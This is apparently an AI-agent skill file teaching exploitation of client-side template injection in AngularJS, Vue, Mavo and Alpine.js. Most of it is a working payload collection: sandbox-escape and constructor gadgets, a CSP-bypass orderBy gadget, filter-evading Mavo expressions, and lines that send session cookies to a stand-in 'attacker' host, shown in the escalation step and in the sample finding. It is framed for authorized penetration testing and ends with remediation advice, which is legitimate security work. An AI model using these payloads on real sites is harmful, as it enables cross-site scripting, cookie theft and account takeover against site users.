exploiting-client-side-template-injection
$
npx mdskill add xalgord/xalgorix/exploiting-client-side-template-injection- During authorized tests of apps built with AngularJS, Vue, Mavo, or Alpine.js - When user input is reflected into a DOM region processed by the framework (not inert text) - When classic XSS payloads (`<script>`, `<img onerror>`) are filtered but template syntax is not - When you see directives: `ng-app`, `ng-bind`, `v-html`, `x-data`, `mv-`/`data-mv-`, or globals `window.angular`/Vue - When you need to bypass CSP — framework gadgets can execute without inline `<script>`
SKILL.md
.github/skills/exploiting-client-side-template-injectionView on GitHub ↗
---
name: exploiting-client-side-template-injection
description: Exploiting Client-Side Template Injection (CSTI) where a frontend framework (AngularJS, Vue, Mavo, Alpine.js)
compiles attacker-controlled template syntax in the browser, turning a reflection into arbitrary JavaScript execution
(XSS) often bypassing classic XSS filters and CSP. Activates when user input is reflected into a framework-controlled
DOM and template expressions like {{7*7}} are evaluated.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- client-side-template-injection
- csti
- xss
- owasp
- web-security
version: '1.0'
author: xalgorix
license: Apache-2.0
---
# Exploiting Client-Side Template Injection (CSTI)
## When to Use
- During authorized tests of apps built with AngularJS, Vue, Mavo, or Alpine.js
- When user input is reflected into a DOM region processed by the framework (not inert text)
- When classic XSS payloads (`<script>`, `<img onerror>`) are filtered but template syntax is not
- When you see directives: `ng-app`, `ng-bind`, `v-html`, `x-data`, `mv-`/`data-mv-`, or globals `window.angular`/Vue
- When you need to bypass CSP — framework gadgets can execute without inline `<script>`
## Critical: Variants Most Often Missed
Not every reflection into a framework page is exploitable. **Confirm the framework, then confirm the exact sink** (compiled expression vs inert HTML). The probe is `{{7*7}}` → renders `49` = CSTI; renders `{{7*7}}` literally = not (look for a directive/event sink instead).
```text
# AngularJS >= 1.6 (sandbox removed → direct exec)
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
# AngularJS CSP / ng-csp mode (orderBy gadget)
<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
# AngularJS sandbox-escape exfil gadget (Google research)
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location='//attacker/'+d.cookie"></textarea></div>
# Vue 2
{{constructor.constructor('alert(1)')()}}
{{this.constructor.constructor('alert("foo")')()}}
"><div v-html="''.constructor.constructor('alert(1)')()">x</div>
# Vue 3 (helper name varies by build — enumerate nearby helpers)
{{_openBlock.constructor('alert(1)')()}}
{{_createBlock.constructor('alert(1)')()}}
{{_toDisplayString.constructor('alert(1)')()}}
{{_createVNode.constructor('alert(1)')()}}
{{_Vue.h.constructor`alert(1)`()}}
# Mavo (mv-/data-mv- attributes; NON-JS syntax bypasses JS-token filters)
[7*7]
[self.alert(1)]
[(1,alert)(1)]
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a data-mv-if='1 or self.alert(1)'>test</a>
javascript:alert(1)%252f%252f..%252fcss-images
```
### How to CONFIRM a hit (avoid false negatives)
1. Reflect a unique marker, confirm where it lands in the DOM.
2. Probe `{{7*7}}` (Angular/Vue) or `[7*7]` (Mavo). Rendered arithmetic (`49`) = template evaluated.
3. If `{{...}}` is inert, hunt directive/event sinks: `ng-focus`, `ng-click`, `v-html`, dynamic bindings, alternate delimiters.
4. Framework-version matters:
- **AngularJS < 1.6**: needs a sandbox escape; `{{1+1}}` still confirms CSTI but exec is version-specific.
- **AngularJS >= 1.6**: sandbox removed → `constructor.constructor(...)` reliable.
- **Vue runtime-only build**: does NOT compile arbitrary template strings client-side — a plain reflection into inert HTML is not enough; you need template-compilation or a `v-html`/gadget sink.
5. A successful `alert(document.domain)` / cookie exfil / CSP-bypassing gadget confirms code execution, not just reflection.
## Workflow
### Step 1: Fingerprint the framework & sink
```bash
# Look in the page source / DOM
grep -Eo 'ng-app|ng-controller|ng-bind|v-[a-z]+|x-data|mv-|data-mv-' page.html
# In console:
# window.angular?.version → AngularJS version (decides sandbox payloads)
# document.querySelectorAll('[v-html],[x-data],[ng-app]')
```
### Step 2: Confirm evaluation, then weaponize
```text
# Step A: {{7*7}} → 49 ?
# Step B: switch to framework+version payload
AngularJS >=1.6 : {{constructor.constructor('alert(document.domain)')()}}
Vue 2 : {{this.constructor.constructor('alert(document.domain)')()}}
Vue 3 : {{_openBlock.constructor('alert(document.domain)')()}} # or enumerate _createBlock/_toDisplayString
Mavo : [self.alert(document.domain)]
```
### Step 3: Escalate impact
```javascript
// Cookie / token theft
{{constructor.constructor('fetch("//attacker/c?"+document.cookie)')()}}
// CSP bypass via ng-csp orderBy gadget (no inline script needed)
<input ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>
```
Because execution happens through the framework's own evaluator, CSTI frequently bypasses XSS filters and `script-src` CSP restrictions that block raw `<script>`.
## Key Concepts
| Concept | Description |
|---------|-------------|
| **CSTI** | Client-side template injection → arbitrary JS in the victim browser (XSS) |
| **{{7*7}} probe** | Rendering `49` proves the expression is compiled by the framework |
| **Sandbox removal (Angular 1.6)** | `constructor.constructor(...)` works directly from 1.6+ |
| **Vue runtime-only** | No client template compilation → need `v-html`/gadget, not bare `{{}}` |
| **Vue 3 render helpers** | `_openBlock`/`_createBlock`/`_toDisplayString` expose `.constructor` |
| **Mavo non-JS syntax** | `[7*7]`, `[self.alert(1)]` bypass filters looking for JS tokens |
| **CSP bypass** | Framework evaluator executes without inline `<script>` |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **ACSTIS (angularjs-csti-scanner)** | Crawl + version-aware AngularJS CSTI payload selection & verification |
| **Browser DevTools console** | Fingerprint framework, test expressions, enumerate render helpers |
| **Burp Suite** | Reflect markers, deliver framework payloads, observe execution |
| **PortSwigger XSS cheat sheet** | AngularJS/Vue reflected gadget reference |
| **Auto_Wordlists/ssti.txt** | Template-injection probe list |
## Common Scenarios
### Scenario 1: AngularJS Search Reflection
A search term is reflected inside an `ng-app` region. `{{7*7}}` renders `49`; since the app uses AngularJS 1.7, `{{constructor.constructor('alert(document.domain)')()}}` executes JS, bypassing the app's `<script>` filter.
### Scenario 2: Vue 3 Profile Field
A profile name is compiled into a Vue 3 template. `{{_openBlock.constructor('alert(1)')()}}` runs; when `_openBlock` isn't present, enumerating `_createBlock`/`_toDisplayString` finds a working helper.
### Scenario 3: Mavo Filter Bypass
The WAF blocks `alert(1)` and JS tokens, but the page uses `mv-` attributes. `[self.alert(document.cookie)]` evaluates through Mavo's non-JS expression parser, achieving XSS where classic payloads were blocked.
## Output Format
```
## Client-Side Template Injection Finding
**Vulnerability**: Client-Side Template Injection (CSTI) → XSS
**Severity**: High (CVSS 6.1–8.2; higher when it bypasses CSP and steals session)
**Location**: GET /search?q=<template payload> (AngularJS ng-app region)
**OWASP Category**: A03:2021 - Injection (Cross-Site Scripting)
### Reproduction Steps
1. Reflect {{7*7}} into q → page renders 49 (expression compiled).
2. Send {{constructor.constructor('alert(document.domain)')()}} → JS executes.
3. Escalate: {{constructor.constructor('fetch("//attacker/c?"+document.cookie)')()}} exfiltrates the session cookie.
### Evidence
| Probe | Render | Meaning |
|-------|--------|---------|
| {{7*7}} | 49 | Template evaluated |
| {{constructor.constructor('alert(1)')()}} | alert fired | JS execution |
| ng-focus orderBy gadget | runs under ng-csp | CSP bypass |
### Impact
Arbitrary JavaScript execution in the victim's browser: session/cookie theft, account actions, and CSP/XSS-filter bypass via the framework evaluator.
### Recommendation
1. Never reflect user input into framework-compiled template regions; treat it as data, not template.
2. Use strict contextual output encoding and avoid `v-html`/`ng-bind-html` on user data.
3. Upgrade away from AngularJS (EoL); use runtime-only Vue builds that don't compile client templates.
4. Sanitize with framework-sanctioned sanitizers and keep a hardened CSP as defense-in-depth.
```